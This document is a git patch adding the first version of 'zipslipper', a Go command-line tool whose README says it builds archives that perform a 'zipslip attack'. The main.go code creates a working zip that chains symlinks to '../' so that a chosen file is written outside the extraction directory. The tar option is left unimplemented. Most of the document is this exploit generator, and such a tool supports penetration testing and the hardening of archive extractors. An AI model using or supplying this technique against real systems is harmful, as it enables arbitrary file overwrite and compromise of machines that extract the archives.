From c2ddd12e3b9d0d85cfb173dbdfc5d889e40ba800 Mon Sep 17 00:00:00 2001 From: NodyHub Date: Fri, 20 Sep 2024 09:46:08 +0200 Subject: [PATCH] added initial implementation for zip --- .github/workflows/golangci-lint.yml | 24 ++++ .github/workflows/release.yml | 26 ++++ .gitignore | 1 + Makefile | 28 ++++ README.md | 43 +++++- go.mod | 5 + go.sum | 2 + main.go | 215 ++++++++++++++++++++++++++++ 8 files changed, 343 insertions(+), 1 deletion(-) create mode 100644 .github/workflows/golangci-lint.yml create mode 100644 .github/workflows/release.yml create mode 100644 Makefile create mode 100644 go.mod create mode 100644 go.sum create mode 100644 main.go diff --git a/.github/workflows/golangci-lint.yml b/.github/workflows/golangci-lint.yml new file mode 100644 index 0000000..cb6bad1 --- /dev/null +++ b/.github/workflows/golangci-lint.yml @@ -0,0 +1,24 @@ +name: golangci-lint +on: + push: + branches: + - main + pull_request: + +permissions: + contents: read + +jobs: + golangci: + name: lint + runs-on: ubuntu-latest + steps: + - uses: actions/checkout@v3.5.3 + - uses: actions/setup-go@v4.1.0 + with: + go-version: '1.21' + cache: false + - name: golangci-lint + uses: golangci/golangci-lint-action@v3.7.0 + with: + version: v1.54 \ No newline at end of file diff --git a/.github/workflows/release.yml b/.github/workflows/release.yml new file mode 100644 index 0000000..e467520 --- /dev/null +++ b/.github/workflows/release.yml @@ -0,0 +1,26 @@ +name: release + +on: + release: + types: [ published ] + +jobs: + release: + name: Release + runs-on: ubuntu-latest + steps: + - name: Setup go 1.21 + uses: actions/setup-go@v4.1.0 + with: { go-version: '1.21' } + + - name: Checkout code + uses: actions/checkout@v3.5.3 + + - name: Run GoReleaser + uses: goreleaser/goreleaser-action@v4.4.0 + with: + distribution: goreleaser + version: latest + args: release --clean + env: + GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} \ No newline at end of file diff --git a/.gitignore b/.gitignore index 6f72f89..0b0dec5 100644 --- a/.gitignore +++ b/.gitignore @@ -23,3 +23,4 @@ go.work.sum # env file .env +zipslipper diff --git a/Makefile b/Makefile new file mode 100644 index 0000000..cc86f92 --- /dev/null +++ b/Makefile @@ -0,0 +1,28 @@ +default: build + +build: + @go build -o zipslipper . + + +install: build + @mv zipslipper $(GOPATH)/bin/zipslipper + +clean: + @go clean + @rm zipslipper + +test: + go test ./... + +test_coverage: + go test ./... -coverprofile=coverage.out + +test_coverage_view: + go test ./... -coverprofile=coverage.out + go tool cover -html=coverage.out + +test_coverage_html: + go test ./... -coverprofile=coverage.out + go tool cover -html=coverage.out -o=coverage.html + +all: build install \ No newline at end of file diff --git a/README.md b/README.md index 1fea3cf..065f157 100644 --- a/README.md +++ b/README.md @@ -1,2 +1,43 @@ # zipslipper -Create tar archives +Create tar/zip archives that try to exploit zipslip vulnerability. + +## CLI Tool + +You can use this library on the command line with the `zipslipper` command. + +### Installation + +```cli +go install github.com/NodyHub/zipslipper@latest +``` + +### Manual Build and Installation + +```cli +git clone git@github.com:NodyHub/zipslipper.git +cd zipslipper +make +make install +``` + +## Usage + +Basic usage on cli: + +```shell +% zipslipper -h +Usage: zipslipper [flags] + +A utility to build tar/zip archives that performs a zipslip attack. + +Arguments: + Input file. + Relative extraction path. + Output file. + +Flags: + -h, --help Show context-sensitive help. + -t, --archive-type="zip" Archive type. (tar, zip) + -v, --verbose Verbose logging. + -V, --version Print release version information. +``` diff --git a/go.mod b/go.mod new file mode 100644 index 0000000..1885d89 --- /dev/null +++ b/go.mod @@ -0,0 +1,5 @@ +module github.com/NodyHub/zipslipper + +go 1.23.1 + +require github.com/alecthomas/kong v1.2.1 // indirect diff --git a/go.sum b/go.sum new file mode 100644 index 0000000..5b15848 --- /dev/null +++ b/go.sum @@ -0,0 +1,2 @@ +github.com/alecthomas/kong v1.2.1 h1:E8jH4Tsgv6wCRX2nGrdPyHDUCSG83WH2qE4XLACD33Q= +github.com/alecthomas/kong v1.2.1/go.mod h1:rKTSFhbdp3Ryefn8x5MOEprnRFQ7nlmMC01GKhehhBM= diff --git a/main.go b/main.go new file mode 100644 index 0000000..ece9517 --- /dev/null +++ b/main.go @@ -0,0 +1,215 @@ +package main + +import ( + "archive/zip" + "fmt" + "io" + "log/slog" + "os" + "path/filepath" + "strings" + "time" + + "github.com/alecthomas/kong" +) + +var ( + version = "dev" + commit = "none" + date = "unknown" +) + +var CLI struct { + InputFile string `arg:"" name:"input" help:"Input file."` + RelativePath string `arg:"" name:"relative-path" help:"Relative extraction path."` + Out string `arg:"" name:"output-file" type:"path" help:"Output file."` + ArchiveType string `short:"t" default:"zip" help:"Archive type. (tar, zip)"` + Verbose bool `short:"v" optional:"" help:"Verbose logging."` + Version kong.VersionFlag `short:"V" optional:"" help:"Print release version information."` +} + +func main() { + + // Parse CLI arguments + kong.Parse(&CLI, + kong.Description("A utility to build tar/zip archives that performs a zipslip attack."), + kong.UsageOnError(), + kong.Vars{ + "version": fmt.Sprintf("%s (%s), commit %s, built at %s", filepath.Base(os.Args[0]), version, commit, date), + }, + ) + + // Check for verbose output + logLevel := slog.LevelError + if CLI.Verbose { + logLevel = slog.LevelDebug + } + + // setup logger + logger := slog.New(slog.NewTextHandler(os.Stderr, &slog.HandlerOptions{ + Level: logLevel, + })) + + // LOG CLI arguments + logger.Debug("CLI arguments", "CLI", CLI) + + switch CLI.ArchiveType { + + case "zip": + if err := createZip(); err != nil { + logger.Error("failed to create zip archive", "error", err) + os.Exit(1) + } + + case "tar": + if err := createTar(logger); err != nil { + logger.Error("failed to create tar archive", "error", err) + os.Exit(1) + } + + default: + logger.Error("invalid archive type", "type", CLI.ArchiveType) + os.Exit(1) + } +} + +func createZip() error { + // Create a zip archive + + // create a new zip archive + zipfile, err := os.Create(CLI.Out) + if err != nil { + return fmt.Errorf("failed to create zip file: %s", err) + } + defer func() { + if err := zipfile.Close(); err != nil { + panic(fmt.Errorf("failed to close zip file: %s", err)) + } + }() + + // create a new zip writer + zipWriter := zip.NewWriter(zipfile) + defer func() { + if err := zipWriter.Close(); err != nil { + panic(fmt.Errorf("failed to close zip writer: %s", err)) + } + }() + + // create basic zip structure + if err := addFolderToZip(zipWriter, "sub/"); err != nil { + return fmt.Errorf("failed to add folder 'sub/' to zip: %s", err) + } + if err := addSymlinkToZip(zipWriter, "sub/root", "../"); err != nil { + return fmt.Errorf("failed to add symlink 'sub/root --> ../' to zip: %s", err) + } + if err := addSymlinkToZip(zipWriter, "sub/root/outside", "../"); err != nil { + return fmt.Errorf("failed to add symlink 'sub/root/outside --> ../' to zip: %s", err) + } + + // check how many traversals are needed + traversals := strings.Count(CLI.RelativePath, "../") + basePath := "sub/root/outside" + for i := 0; i < traversals; i++ { + basePath = fmt.Sprintf("%s/%v", basePath, i) + if err := addSymlinkToZip(zipWriter, basePath, "../"); err != nil { + return fmt.Errorf("failed to add symlink '%s --> ../' to zip: %s", basePath, err) + } + } + + // add the file to the zip archive + filePath := fmt.Sprintf("%s/%s", basePath, CLI.InputFile) + if err := addFileToZip(zipWriter, CLI.InputFile, filePath); err != nil { + return fmt.Errorf("failed to add file to zip: %s", err) + } + + return nil +} + +func addFolderToZip(zipWriter *zip.Writer, folder string) error { + + // ensure folder nomenclature + if !strings.HasSuffix(folder, "/") { + folder = folder + "/" + } + zipHeader := &zip.FileHeader{ + Name: folder, + Method: zip.Store, + Modified: time.Now(), + } + zipHeader.SetMode(os.ModeDir | 0755) + + if _, err := zipWriter.CreateHeader(zipHeader); err != nil { + return fmt.Errorf("failed to create zip header for directory: %s", err) + } + + return nil +} + +func addFileToZip(zipWriter *zip.Writer, file string, relativePath string) error { + + // open the file + fileReader, err := os.Open(file) + if err != nil { + return fmt.Errorf("failed to open file: %s", err) + } + defer fileReader.Close() + + // stat input + fileInfo, err := fileReader.Stat() + if err != nil { + return fmt.Errorf("failed to stat file: %s", err) + } + + // create a new file header + zipHeader, err := zip.FileInfoHeader(fileInfo) + if err != nil { + return fmt.Errorf("failed to create file header: %s", err) + } + + // set the name of the file + zipHeader.Name = relativePath + + // set the method of compression + zipHeader.Method = zip.Deflate + + // create a new file writer + writer, err := zipWriter.CreateHeader(zipHeader) + if err != nil { + return fmt.Errorf("failed to create zip file header: %s", err) + } + + // write the file to the zip archive + if _, err := io.Copy(writer, fileReader); err != nil { + return fmt.Errorf("failed to write file to zip archive: %s", err) + } + + return nil +} + +func addSymlinkToZip(zipWriter *zip.Writer, symlinkName string, target string) error { + + // create a new file header + zipHeader := &zip.FileHeader{ + Name: symlinkName, + Method: zip.Store, + Modified: time.Now(), + } + zipHeader.SetMode(os.ModeSymlink | 0755) + + // create a new file writer + writer, err := zipWriter.CreateHeader(zipHeader) + if err != nil { + return fmt.Errorf("failed to create zip header for symlink %s: %s", symlinkName, err) + } + + // write the symlink to the zip archive + if _, err := writer.Write([]byte(target)); err != nil { + return fmt.Errorf("failed to write symlink target %s to zip archive: %s", target, err) + } + + return nil +} + +func createTar(logger *slog.Logger) error { + panic("not implemented") +}